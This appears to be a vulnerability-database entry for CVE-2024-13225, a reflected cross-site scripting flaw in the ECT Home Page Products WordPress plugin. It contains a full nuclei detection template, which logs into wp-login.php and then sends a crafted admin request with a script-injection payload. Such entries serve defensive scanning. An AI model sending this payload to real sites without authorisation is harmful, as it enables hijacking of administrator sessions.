HexBrain

Browse / CVEs / CVE-2024-13225

CVE-2024-13225· etemplates / ect home page products· CWE-79

ECT Home Page Products - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it

ECT Home Page Products WordPress plugin through 1.9 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to visit a maliciously crafted page.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=ect_homepage_prod_add&_id=testxss"></script><script>alert(document.domain)</script><script>
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>","ect-homepage-products")

Run it with nuclei: nuclei -id CVE-2024-13225 -u <target>

The full check
id: CVE-2024-13225

info:
  name: ECT Home Page Products - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    ECT Home Page Products WordPress plugin through 1.9 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to visit a maliciously crafted page.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/8efd7d62-3f74-4108-970e-bd5ed24914ff/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13225
    cwe-id: CWE-79
    epss-score: 0.0061
    epss-percentile: 0.49541
    cpe: cpe:2.3:a:etemplates:ect_home_page_products:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etemplates
    product: ect_home_page_products
  tags: cve,cve2024,etemplates,ect-home-page-products,authenticated,xss,wordpress,wp,wp-plugin

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ect_homepage_prod_add&_id=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","ect-homepage-products")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from